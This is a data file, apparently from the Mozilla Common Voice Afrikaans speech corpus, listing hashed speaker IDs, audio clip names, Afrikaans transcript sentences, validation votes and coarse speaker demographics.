b7b78e93a9152d19bf7981b2530c410e007ea7c80bde57f95ad0bdc4bc086265fc1da8a8ed040fe3b159e3692203545e8280be25fe703651be9d599023e3370b common_voice_af_38088397.mp3 12ca1be2ce9dd8df1d6f9bb00bba42de7b80b7a17a99820562740f2777087c76 Ek kyk soms televisie 2 0 af
|
| 39 |
+
c877b634509e1b889ea15e4fd7d9af6d33494edf22ae62cba6dece4322350aaa8409aa4c0e24af3bb34778e40e70de2942ccac6bca3164f38c2892d2ee5a3c9d common_voice_af_41654038.mp3 3e534dadec927a0dcc07308eb0ca40d3a2de345d9657d219d24bf7801081c41a Hoe gaan dit? 2 0 Standaard Afrikaans af
|
| 40 |
+
c877b634509e1b889ea15e4fd7d9af6d33494edf22ae62cba6dece4322350aaa8409aa4c0e24af3bb34778e40e70de2942ccac6bca3164f38c2892d2ee5a3c9d common_voice_af_41654039.mp3 313ed5406c1894f5afc81d80eb9108ee1ef6a69fea220662a1e4720c61b246e9 Navorsing en ontwikkeling vorm 'n integrale deel van die land se sosio-ekonomiese ontwikkeling. 2 0 Standaard Afrikaans af
|
| 41 |
+
c877b634509e1b889ea15e4fd7d9af6d33494edf22ae62cba6dece4322350aaa8409aa4c0e24af3bb34778e40e70de2942ccac6bca3164f38c2892d2ee5a3c9d common_voice_af_41654041.mp3 0ca5fe9a791a39f77653153ba1ed5b0033424c0e6da872d5f7bb784a6128ffd2 Die sentrumbestuurder het beweer dat die winkelsentrum van Vrydae tot Sondae die besigste was. 2 0 Standaard Afrikaans af
|
| 42 |
+
c877b634509e1b889ea15e4fd7d9af6d33494edf22ae62cba6dece4322350aaa8409aa4c0e24af3bb34778e40e70de2942ccac6bca3164f38c2892d2ee5a3c9d common_voice_af_41654042.mp3 28caeb8b455a4bb93f57a9d3eb3bf00178126c2b1f40f2367e2e3f4233033afa Ek leer nou Afrikaans vir ’n jaar 2 0 Standaard Afrikaans af
|
| 43 |
+
25b4675fa25b463de0fb5f59daf072ae4fc769d760899d4be49d2536a620fa163e06b48dfd79d342ecb590982d3417ab343273bb8a1355a62180d2ff08a7a9ce common_voice_af_39667403.mp3 11631f3178d5c4f1e38af268ff2654b9721b4fd669a2a055eabe6fcc4765c61c Die Parlement se konstitusionele hersieningskomitee het verhore in alle provinsies afgesluit. 2 0 Afriaans pretorianer af
|
| 44 |
+
25b4675fa25b463de0fb5f59daf072ae4fc769d760899d4be49d2536a620fa163e06b48dfd79d342ecb590982d3417ab343273bb8a1355a62180d2ff08a7a9ce common_voice_af_39667404.mp3 13ff01b60e285be02c2ccdb89a8440cd8df317cd7cee863ad42ecb088406df9b Ons infrastruktuurstelsels loop die gevaar om verder agteruit te gaan en uiteindelik te misluk. 2 0 Afriaans pretorianer af
|
| 45 |
+
25b4675fa25b463de0fb5f59daf072ae4fc769d760899d4be49d2536a620fa163e06b48dfd79d342ecb590982d3417ab343273bb8a1355a62180d2ff08a7a9ce common_voice_af_39667405.mp3 02db5a80c04aa74f646cdc4d2a757c3d2daef95fffbed2fd7e1e534a97e776dc Hy het ’n baie lekker woonstel 2 0 Afriaans pretorianer af
|
| 46 |
+
25b4675fa25b463de0fb5f59daf072ae4fc769d760899d4be49d2536a620fa163e06b48dfd79d342ecb590982d3417ab343273bb8a1355a62180d2ff08a7a9ce common_voice_af_39667406.mp3 29189859f276c006f8e4a79f5a81bb1aab4f85b175b6a89e94a781b519edf1a7 Hulle aandag was nie noodwendig deurgaans op dieselfde persoon of persone gevestig gewees nie. 2 0 Afriaans pretorianer af
|
| 47 |
+
25b4675fa25b463de0fb5f59daf072ae4fc769d760899d4be49d2536a620fa163e06b48dfd79d342ecb590982d3417ab343273bb8a1355a62180d2ff08a7a9ce common_voice_af_39667407.mp3 024915efc4567f479fbef85fe9f7f01b65e56f98547d50ae880c5d862f85d9ab Hierdie gebou verskaf inligting oor Mapungubwe en bewaar kunsvoorwerpe uit sy antieke geskiedenis. 2 1 Afriaans pretorianer af
|
| 48 |
+
25e3421aed9a5cd8e03542d0d91551fab8ae094ee9430ee9e7674a31e322d8e7dd067fd9bccaf76cc0f1b5675d74a6920bc9550c9b9c596eabb77358b5718d74 common_voice_af_39631307.mp3 01e0b4bb014e5f37d1f2515bff8caf2ab6c4dc4f062441e3fddc685394b6ab3e Ek moet gaan nuwe skoene koop 2 0 af
|
| 49 |
+
25e3421aed9a5cd8e03542d0d91551fab8ae094ee9430ee9e7674a31e322d8e7dd067fd9bccaf76cc0f1b5675d74a6920bc9550c9b9c596eabb77358b5718d74 common_voice_af_39631308.mp3 21569f3198fe329ab46ba9deea313067f9f1fb04ad96e368e96f583a2dae7b12 Die afgekoelde oplossing het 'n konsentrasie bo die versadigingspunt en dit is superversadig. 2 0 af
|
| 50 |
+
25e3421aed9a5cd8e03542d0d91551fab8ae094ee9430ee9e7674a31e322d8e7dd067fd9bccaf76cc0f1b5675d74a6920bc9550c9b9c596eabb77358b5718d74 common_voice_af_39631309.mp3 0be5b265a1a54e315d34bd200198be07a35dddb8c9ec37a9be97eae924fcd4f5 Elke skool moet 'n assesseringsprogram gegrond op provinsiale en nasionale riglyne ontwikkel. 2 0 af
|
| 51 |
+
25e3421aed9a5cd8e03542d0d91551fab8ae094ee9430ee9e7674a31e322d8e7dd067fd9bccaf76cc0f1b5675d74a6920bc9550c9b9c596eabb77358b5718d74 common_voice_af_39631310.mp3 16381d1315148e4f79d91646e68582ebb466b94b4b65695d3029c6cfbf0b6776 Daar is versoeke dat meer polisieoptrede en gemeenskapsbetrokkenheid geïmplementeer moet word. 2 0 af
|
| 52 |
+
25e3421aed9a5cd8e03542d0d91551fab8ae094ee9430ee9e7674a31e322d8e7dd067fd9bccaf76cc0f1b5675d74a6920bc9550c9b9c596eabb77358b5718d74 common_voice_af_39631311.mp3 0e4481bcbc4d80b1472614520e0ba40c4e89f6160922da9c102cf324087f00f3 Elke Raadslid is dan ook persoonlik verantwoordelik vir die gereelde betaling van sodanige kontrak. 2 0 af
|
| 53 |
+
2f81b84161c949381d292c840801bd6f06367cf03d9463740844542320ccd8621e12701c7ea0598e5c02cb75b7db6e05c5e8f815e513e832a94b680c3e0b47f1 common_voice_af_38089136.mp3 1418b5aa26546712a7965cc81ae1852b25f744bc038ec0480de90f58f0a63924 Die mense is baie vriendelik 2 1 af
|
| 54 |
+
2f81b84161c949381d292c840801bd6f06367cf03d9463740844542320ccd8621e12701c7ea0598e5c02cb75b7db6e05c5e8f815e513e832a94b680c3e0b47f1 common_voice_af_38089137.mp3 056caa721749562a5b60e45a48772b024276762427d3d68eb111a4603ed91547 Dit was 'n deurmekaar nag van opstand en verontregting, van moedeloosheid en selfbejammering. 2 0 af
|
| 55 |
+
2f81b84161c949381d292c840801bd6f06367cf03d9463740844542320ccd8621e12701c7ea0598e5c02cb75b7db6e05c5e8f815e513e832a94b680c3e0b47f1 common_voice_af_38089138.mp3 0fefe986ca8bcbf5efbdcdfd17397b6ed2de346b2c91c02f7a79a0021590ce07 Ek wil huis toe gaan! 2 0 af
|
| 56 |
+
2f81b84161c949381d292c840801bd6f06367cf03d9463740844542320ccd8621e12701c7ea0598e5c02cb75b7db6e05c5e8f815e513e832a94b680c3e0b47f1 common_voice_af_38089139.mp3 1a0df9c54906956c58381076170b0ef647692bc2faca720aa0e78b63e4fb11b4 Raadpleeg die uitdeelstuk vir meer wenke en voorbeelde. 2 0 af
|
| 57 |
+
2f81b84161c949381d292c840801bd6f06367cf03d9463740844542320ccd8621e12701c7ea0598e5c02cb75b7db6e05c5e8f815e513e832a94b680c3e0b47f1 common_voice_af_38089140.mp3 0f05232d6cebc1c822419d777310f98de6f6b46b256fdadae04810b4916d9206 Alle assessering van musiekvoordrag bevat weens die aard daarvan 'n element van subjektiwiteit. 2 0 af
|
| 58 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41650434.mp3 25271c62c3b20631083fe06d2cb540d627b212350dd26b7a211886da21898b7e Ek hou nie daarvan om per trein te reis nie 2 0 af
|
| 59 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41652182.mp3 1be91d885523bd83471cc61432c785f354227dd1de12f650f30b93832dff8b8d Wil jy saans gaan stap? 2 0 fourties af
|
| 60 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41652198.mp3 11dda1d01d9cc2fa0ec0e643cf2d688cef0b3c038b9d1b1ba16b60c36130d5a8 Eksamenvraestelle sal by sentrums afgelewer word in ooreenstemming met die registrasiestatistieke. 2 0 fourties af
|
| 61 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41655336.mp3 343e609083ce14ddd6bb23565f29a274044b2d9c658a81f3ac38f78fcc2e65e2 Om saam te vat. 2 0 fourties af
|
| 62 |
+
3e5297b95958d749b36cd205e509f81d36899c302742bf44fc022969889705f4121b3020d2e2ae4d9603d2a6dbb67a0655ec024b9dbfbfd4e6e822fb8b293068 common_voice_af_41655347.mp3 354e9f94b6e7aef3df25dd63d3d72ea282e80b28ee5a5738abbc787c40b61326 Ek verlang reeds na die huis. 2 0 fourties af
|
| 63 |
+
878776b2790d31cce306f6f90dbebd1cd701e95d9f372123394c3ef83c4955dee8778a047c6deefea1ed403acbfcb978cb3f6721d4e81a1d2717092add193172 common_voice_af_38090277.mp3 1838b7a6bc191963d4dfd7ebf0a18ec07db961630d9f75e9f78aa408ab28dc0a Uitnodigings word ook gestuur aan instansies wie se name deur die munisipaliteit verskaf word. 2 0 af
|
| 64 |
+
878776b2790d31cce306f6f90dbebd1cd701e95d9f372123394c3ef83c4955dee8778a047c6deefea1ed403acbfcb978cb3f6721d4e81a1d2717092add193172 common_voice_af_38090278.mp3 0b6a59921b449ffcc7ea727c222fe4a9b44db929ff4ab4d9d18d2857fc1abf26 In die relatief ongerepte bergagtige dele van die streek is daar egter goeie ekotoerismepotensiaal. 2 0 af
|
| 65 |
+
878776b2790d31cce306f6f90dbebd1cd701e95d9f372123394c3ef83c4955dee8778a047c6deefea1ed403acbfcb978cb3f6721d4e81a1d2717092add193172 common_voice_af_38090279.mp3 0717c9cf3cb39cd5710510c953d5e18a88e3932558674e19ff87ede0390c4373 Verduidelik waarom driehoekige vorms in die ontwerp en konstruksie van dakkappe gebruik word. 2 0 af
|
| 66 |
+
878776b2790d31cce306f6f90dbebd1cd701e95d9f372123394c3ef83c4955dee8778a047c6deefea1ed403acbfcb978cb3f6721d4e81a1d2717092add193172 common_voice_af_38090280.mp3 1cd5fbdc5aa218fa2aa400c2e1a446b0389721e1cd6abbd8e7a5e16e6f4dc932 Sekere van hierdie komponente sal tydens gisting ontstaan terwyl ander na die gisproses ontstaan. 2 0 af
|
| 67 |
+
878776b2790d31cce306f6f90dbebd1cd701e95d9f372123394c3ef83c4955dee8778a047c6deefea1ed403acbfcb978cb3f6721d4e81a1d2717092add193172 common_voice_af_38090281.mp3 1d5bf8a0e4ec82b507e467547d2da69289c5ce2bad80eb9c4678ec435c46c2df Niks spesiaals nie. 2 0 af
|
| 68 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40399179.mp3 08c45896d9a6ab3117cadfd7aa5e9a31f5a3a15b5bfae8ff7946046dfff6b548 Vol fiemies wees 4 0 fifties Transvaal, white af
|
| 69 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40399183.mp3 311a6f90655873840fd62485afe839ef2e3233f3fbbeafb51f884e95875fefb5 Nadat die graan geoes is, sal die boere dit dors. 4 0 fifties Transvaal, white af
|
| 70 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40435287.mp3 1b4a07b681b7c3c8292890f03a6e39a531f5903fabccdcd6aa16d906792e6fd9 Skole in die presidensiële knooparea van Khayelitsha het by besonder gefokusde aandag gebaat. 2 0 fifties Transvaal, white af
|
| 71 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40435290.mp3 0f4a8bb65f1c264f8eb09d3b9c29f589539399f6cfd7756b60f59f7c74e1e492 Ons spring op en roep uit: “Waar’s hy, waar’s hy?”. 4 0 fifties Transvaal, white af
|
| 72 |
+
95b02012b09297de75d438177f7f92d36b54eb21bb2f724ab1acc5c917bea4c29dbc697eac71996e3db0747b4150842d8f045c811a86141eb48d94ab5b2dcefa common_voice_af_40435292.mp3 29faaca1c103debdd9e15e5fa91ab8ae694246b5a6317e37a840fefad0eb0002 Onthou ook dat die slot in die verlede tyd geskryf word. 2 0 fifties Transvaal, white af
|
| 73 |
+
a7e304706d8fd57b13ea89ae10970453cf9b5d69de1420c8a06f79d570ba2e8307381b61145be1316cf5852e22769023ab121bd749f95bf9b25012dc5491e8fe common_voice_af_40280990.mp3 2cd44a32fdddd8ca62a6e73f6a8f3fa6efed6e10e39e7ff85e582444bce9ff52 Hierdie studie is deur die Menslike Etiekkomitee van die Universiteit Stellenbosch goedgekeur. 2 0 af
|
| 74 |
+
a7e304706d8fd57b13ea89ae10970453cf9b5d69de1420c8a06f79d570ba2e8307381b61145be1316cf5852e22769023ab121bd749f95bf9b25012dc5491e8fe common_voice_af_40280991.mp3 2d08b4dc84c91cb1a4c646eb2fbe7c71f745cda2779a48e1454a692127258016 In die vorige video is jy stap-vir-stap aan verwysings bekendgestel. 2 0 af
|
| 75 |
+
a7e304706d8fd57b13ea89ae10970453cf9b5d69de1420c8a06f79d570ba2e8307381b61145be1316cf5852e22769023ab121bd749f95bf9b25012dc5491e8fe common_voice_af_40280992.mp3 2db200298effeb39019aca85bcb742297f25efe1bc68b2df0404abb1ea060f6f Stikstofdioksied dien as katalisator vir die vorming van osoon, 'n sleutelkomponent van rookmis. 2 0 af
|
| 76 |
+
a7e304706d8fd57b13ea89ae10970453cf9b5d69de1420c8a06f79d570ba2e8307381b61145be1316cf5852e22769023ab121bd749f95bf9b25012dc5491e8fe common_voice_af_40280993.mp3 151618c71bdc722ca312169293ff3d04dd2d617cb066587e8790b6af7cbf5cc3 Soms kom hulle vir 'n maand, soms vir ses maande. 2 0 af
|
| 77 |
+
a7e304706d8fd57b13ea89ae10970453cf9b5d69de1420c8a06f79d570ba2e8307381b61145be1316cf5852e22769023ab121bd749f95bf9b25012dc5491e8fe common_voice_af_40280994.mp3 03938fc65e673fb00bc29e809392a795d4053bb2609173700ea8bee61304d5d1 My spiere is seer na al daardie oefening. 2 0 af
|
| 78 |
+
a98acc24948d239d606569e293dc39a3bb03c3427dd94f41cd1aefe66b0df24435f9834dbc2c4776493020ff4bef10f3bc03c85734d8c502d340f8dedbd0e835 common_voice_af_39612836.mp3 01f7ca01cafc8449bb48614e9c87ae4dd685f219c6ebe05cf02a6245407367cf Gelderbloem help ook met die versorging van kankerpasiënte en hanteer die uitdeel van medikasie. 2 0 af
|
| 79 |
+
a98acc24948d239d606569e293dc39a3bb03c3427dd94f41cd1aefe66b0df24435f9834dbc2c4776493020ff4bef10f3bc03c85734d8c502d340f8dedbd0e835 common_voice_af_39612837.mp3 0ae08f55b191a296916852abceb4d88ff37d74da6f95ac21091d2787ccac0486 Die hipotese moet verwys na die verwantskap tussen die afhanklike en onafhanklike veranderlikes. 2 0 af
|
| 80 |
+
a98acc24948d239d606569e293dc39a3bb03c3427dd94f41cd1aefe66b0df24435f9834dbc2c4776493020ff4bef10f3bc03c85734d8c502d340f8dedbd0e835 common_voice_af_39612839.mp3 08237988b92de3f36eb8d98614a16865b103e93f4ff97df39856486318912ff7 My woonstel is klein 2 0 af
|
| 81 |
+
a98acc24948d239d606569e293dc39a3bb03c3427dd94f41cd1aefe66b0df24435f9834dbc2c4776493020ff4bef10f3bc03c85734d8c502d340f8dedbd0e835 common_voice_af_39612841.mp3 1889557734d9415536c913bebdc57c7aa7cec2e9cc3a423690882ec647478ef7 Probeer koel bly in hierdie warm weer. 2 0 af
|
| 82 |
+
a98acc24948d239d606569e293dc39a3bb03c3427dd94f41cd1aefe66b0df24435f9834dbc2c4776493020ff4bef10f3bc03c85734d8c502d340f8dedbd0e835 common_voice_af_39612842.mp3 0924fdbb66d24f5c349dfbafc1e366e408d9f57f5e649e2ac7a6971e5b470789 Die goeters kon so gevaarlik getoor het. 2 0 af
|
| 83 |
+
beab40797d1177e5a1c8898cfbbc8ddb4cf5b934d8f826b3300b1588a6ecfc3e9b86395949f760ea83437ab248aaa65c5ed0318fe85f7f6c7382db02c4e68a10 common_voice_af_39631221.mp3 176d535b33cbba34cbf785d044df1e2363239dfa50d8c7bd8da187d0dec3abf5 Hy verander homself meteens in ’n Springbok. 2 0 onkenmerkend af
|
| 84 |
+
beab40797d1177e5a1c8898cfbbc8ddb4cf5b934d8f826b3300b1588a6ecfc3e9b86395949f760ea83437ab248aaa65c5ed0318fe85f7f6c7382db02c4e68a10 common_voice_af_39631222.mp3 25fa55a2ea23f0b3c94bee507051aa4d3f2f6a85a6912bc18b8b29e4d860a465 Ek gaan nooit bioskoop toe nie 2 0 onkenmerkend af
|
| 85 |
+
beab40797d1177e5a1c8898cfbbc8ddb4cf5b934d8f826b3300b1588a6ecfc3e9b86395949f760ea83437ab248aaa65c5ed0318fe85f7f6c7382db02c4e68a10 common_voice_af_39631223.mp3 2ac25794c7d63d638f76b795bca91d6bf56be838dacd054e0991d076de807a5b Die roker hoes aanmekaar. 2 0 onkenmerkend af
|
| 86 |
+
beab40797d1177e5a1c8898cfbbc8ddb4cf5b934d8f826b3300b1588a6ecfc3e9b86395949f760ea83437ab248aaa65c5ed0318fe85f7f6c7382db02c4e68a10 common_voice_af_39631224.mp3 25e1a118c287489705ca8759448445f3088c7b29b737527f996096c0151a5143 Die verwronge handelsomgewing stel voorts besondere eise aan landbouers vir volhoubare produksie. 2 0 onkenmerkend af
|
| 87 |
+
beab40797d1177e5a1c8898cfbbc8ddb4cf5b934d8f826b3300b1588a6ecfc3e9b86395949f760ea83437ab248aaa65c5ed0318fe85f7f6c7382db02c4e68a10 common_voice_af_39631225.mp3 203e737dad285179c9168d6164e11694ceddbba45845cb334bcff7b2d45450e2 Vetsug, oorgewig of ondergewig skep ernstige gesondheidskomplikasies en kan tot siekte lei. 2 0 onkenmerkend af
|
| 88 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38089501.mp3 03b140670f4cce9a44a1120a0066a6a7c74609d2222714943efe62002b720af7 Formele assessering moet vir 'n reeks kognitiewe vlakke en vermoëns van kinders voorsiening maak. 4 0 Kaapse Afrikaans af
|
| 89 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38089502.mp3 11653f2e06e8ad59898866a0b091e49b4628e829ce0191d7910cf27b8beee9d1 Ons word al ongeduldig dat ou Bamboes so lank vat. 4 0 Kaapse Afrikaans af
|
| 90 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38089503.mp3 11d0b7c3bc7f91f722fef494ff9e272b9df01b6c6dbcf4ca2dab779c0ef4a0a8 Sy sal vir hom 'n brief van haar ma gee. 4 0 Kaapse Afrikaans af
|
| 91 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38089504.mp3 05ba3351f25eae42c35d5aa4ea21a2b5a747b37e8dbb515b0e4f34da195e4d0f Die onderrig van praktiese ontwerpinhoud, -konsepte en -vaardighede is siklies eerder as liniêr. 4 2 Kaapse Afrikaans af
|
| 92 |
+
d45bbf6d4c85018f0a08b4260e290a21f3e9adc4ee2d27008ec61626beb412bd764801729fdef10ad81cbc3deffed6928421edac102eb7f5b4e0525deb8ed167 common_voice_af_38089505.mp3 1da92f0c1b09c8c3ca9ca84186174f613014af6cea3359eac0437e767e086af0 Kan daardie vrou regtig iemand toor? 4 0 Kaapse Afrikaans af
|
| 93 |
+
e9521b660d0cf177baf9cc3030e7c354c5e017ed09353862ee87b09b7b00c8cc58875511e6d2994629440076827878d94a131c344881844fefe964ef61a0339a common_voice_af_38090312.mp3 1687ae74c05fd356e8915fff32ae4a4bd3aba28734cd454a0ff00b6b4750da8a Dit het verskeie paragrawe waarvan een sin per paragraaf dan gewoonlik die hoofgedagte bevat. 2 0 af
|
| 94 |
+
e9521b660d0cf177baf9cc3030e7c354c5e017ed09353862ee87b09b7b00c8cc58875511e6d2994629440076827878d94a131c344881844fefe964ef61a0339a common_voice_af_38090313.mp3 0ceab4f1a92cbc5e58f9d36bedafc8d895dad86d3b0d068c59cde5e21ae5cb1d Ek moes vandag na die apteek toe gaan 2 0 af
|
| 95 |
+
e9521b660d0cf177baf9cc3030e7c354c5e017ed09353862ee87b09b7b00c8cc58875511e6d2994629440076827878d94a131c344881844fefe964ef61a0339a common_voice_af_38090315.mp3 053f9baa48b45eeb7b69eb47cd4ba8ab6fc0f4c1b0d48b1317a8b8280dd726a6 Die lekkerste sit vir hom is as die rook onder sy ken in speel. 2 0 af
|
| 96 |
+
e9521b660d0cf177baf9cc3030e7c354c5e017ed09353862ee87b09b7b00c8cc58875511e6d2994629440076827878d94a131c344881844fefe964ef61a0339a common_voice_af_38090317.mp3 07636ea42b3f2266fc5f8dc619d93363488ac8377bfbc61b0e5f8d346d01c30c Hierdie kort man is my pa 2 0 af
|
| 97 |
+
e9521b660d0cf177baf9cc3030e7c354c5e017ed09353862ee87b09b7b00c8cc58875511e6d2994629440076827878d94a131c344881844fefe964ef61a0339a common_voice_af_38090319.mp3 03d98e6c6e4a0a179517744ab3a79c8683dc2e9e067e535571699101ed5d1921 Ek glo in die Heilige Gees. 2 0 af
|
| 98 |
+
f10504b6220f51fda68cd4cdf924ef5de2efc15e381e14046ad3b30fe709a6c6e885bb1cbf971714458481a1f207bec36673569e7e40474c9de3fb46a7e0b88b common_voice_af_38090552.mp3 0e37f655f72d3ff41111828f769907b8b6cc37c5e08718a9b40ac55d3e6c0039 Ek drink nooit koffie nie 2 0 af
|
| 99 |
+
f10504b6220f51fda68cd4cdf924ef5de2efc15e381e14046ad3b30fe709a6c6e885bb1cbf971714458481a1f207bec36673569e7e40474c9de3fb46a7e0b88b common_voice_af_38090553.mp3 07a0192e2c1798b19082352f68d93b716c04b91314ef643ce6d1228ce534ecf3 Die eise aan beskikbare water sal eskaleer namate verstedeliking en die bevolkingsgroei versnel. 2 0 af
|
| 100 |
+
f10504b6220f51fda68cd4cdf924ef5de2efc15e381e14046ad3b30fe709a6c6e885bb1cbf971714458481a1f207bec36673569e7e40474c9de3fb46a7e0b88b common_voice_af_38090554.mp3 10b334a94395571d69153d02211c411830db055cac8351f285e15548dee2107a Gelyke massas van verskillende radioaktiewe stowwe kan egter hoogs verskillende aktiwiteite hê. 2 0 af
|
| 101 |
+
f10504b6220f51fda68cd4cdf924ef5de2efc15e381e14046ad3b30fe709a6c6e885bb1cbf971714458481a1f207bec36673569e7e40474c9de3fb46a7e0b88b common_voice_af_38090555.mp3 16a80cd1b5435c0fdb61b00b5b69898b986407ee5b5f18be9877dbecde7a60cf Die reaksietempo is die verandering in die konsentrasie van reagense of produkte per eenheidstyd. 2 0 af
|
| 102 |
+
f10504b6220f51fda68cd4cdf924ef5de2efc15e381e14046ad3b30fe709a6c6e885bb1cbf971714458481a1f207bec36673569e7e40474c9de3fb46a7e0b88b common_voice_af_38090556.mp3 181c35583f71ae73b5aff51205ba97d7dd79ee43acc06e5df79b62a55c57ac9b Jy kan steeds die brood eet as jy die muf afsny. 2 0 af
|
| 103 |
+
ff21960e9ef7043b1e439502f5d2b4a3b09a20bf2e2985e65bace60b35abac0beadd56889dc1df7c73e8f25cee9b10827e6384354af06699f0694fcaef80d98b common_voice_af_40281010.mp3 28ea64fff39877ce46aced12dc077443707a6b3de79bbaff419074f9702b5b0d Haar mond is vol kos toe sy begin praat. 2 0 af
|
| 104 |
+
ff21960e9ef7043b1e439502f5d2b4a3b09a20bf2e2985e65bace60b35abac0beadd56889dc1df7c73e8f25cee9b10827e6384354af06699f0694fcaef80d98b common_voice_af_40281012.mp3 294b2eb93e03c01de27a557bc507ecaea1177e923dd3a0f37ff3dbc2d5c35e43 Ek het geweet die baba was vaak toe ek hom hoor gaap. 2 0 af
|
| 105 |
+
ff21960e9ef7043b1e439502f5d2b4a3b09a20bf2e2985e65bace60b35abac0beadd56889dc1df7c73e8f25cee9b10827e6384354af06699f0694fcaef80d98b common_voice_af_40281027.mp3 288169c428976111d3b9f0eb07d497d09910b3207215c95364555b4d702453a2 Iemand ’n gat in die kop praat 2 0 af
|
| 106 |
+
ff21960e9ef7043b1e439502f5d2b4a3b09a20bf2e2985e65bace60b35abac0beadd56889dc1df7c73e8f25cee9b10827e6384354af06699f0694fcaef80d98b common_voice_af_40281030.mp3 159279bd69e2038d46f01bde24b360b63675157a253b38d6d7f33088df280ddc Deur samewerking het hulle beduidende vordering gemaak om die euwel van dwelmmisbruik te beveg. 2 0 af
|
| 107 |
+
ff21960e9ef7043b1e439502f5d2b4a3b09a20bf2e2985e65bace60b35abac0beadd56889dc1df7c73e8f25cee9b10827e6384354af06699f0694fcaef80d98b common_voice_af_40281032.mp3 004ca7c3bfc0b88d7c4a10a80deeb36f7d0cc9ee77834cacd18537c0a788406a Aan die einde van die vertoning sal almal hande klap. 2 0 af
|
| 108 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622767.mp3 3b5d011b37cd73ce2b959c0ac8db64ffff30abf0d6eb6dad8a557757b910b459 Die bron hieronder bestaan uit twee uittreksels oor die Burgerregtebeweging en reaksie daarop. 4 0 fourties female_feminine Afrikaner af
|
| 109 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622769.mp3 3502e3393fddf7889294a0bd12cf258f3c498b01dfc37eea1088d6d025f83eac Die data hieronder dui die interaksie tussen produksie en die hantering van suiwelbeeste aan. 2 0 fourties female_feminine Afrikaner af
|
| 110 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622770.mp3 329467ca8a524c14df98ea844ef84a050b446e4f8caefdc2521d46e088244783 As deel van hierdie program is 'n Olimpiese Dag-bewustheidsprogram op Prins Albert aangebied. 2 0 fourties female_feminine Afrikaner af
|
| 111 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622792.mp3 31aea612b4b80e92893478e90db2935ae7cf1fedb4169dc3a46d5a5edebe8d87 Hierdie benadering vereis heelwat modellering en ondersteuning in die Tweede Addisionele Taal. 2 0 fourties female_feminine Afrikaner af
|
| 112 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622793.mp3 1ac75046f66928cea7ffb5d093cacecca3c7e0a8528f067f963b3423d77adfbe Die weer was aaklig. Dit het gereën. 2 0 fourties female_feminine Afrikaner af
|
| 113 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622794.mp3 15910745d3ff25d3dc18d1bf8a6de9094aa65063a456b3e6791221a379cb6d3c Die deurhandvatsel is te hoog vir 'n kind om by te kom. 2 0 fourties female_feminine Afrikaner af
|
| 114 |
+
3c29095be4a7c65672b10d03be901bf5f923a8428cc0dbc8e3e49b86e5a3a202f1feb802fb3ae3f00c519cb1f4386f8de77d9627fddf46c9d52bfdef33bc1744 common_voice_af_41622795.mp3 3aa52e5ad7802bc54c0c619d17cdc7fd5ac78be5de59c5e667e8368719e681c1 Ons moet die bome afkap wat te naby aan die huis is. 2 0 fourties female_feminine Afrikaner af
|
| 115 |
+
5560ae0e93452df2f8353dd42742da027f402a9d1142eff76ee3fb4499c137d360da4b0283da3eb997753c8931ad5371fa004291735f9969aaf4dfb893f11cd3 common_voice_af_40328241.mp3 0f96bae4bb31cdc5163fef30e3df1423675750f5d0155addbf82df7c847e6653 Veiligheid- en risiko-assesserings wat vir maatskaplike werkers krities is in besluitneming. 2 0 twenties male_masculine af
|
| 116 |
+
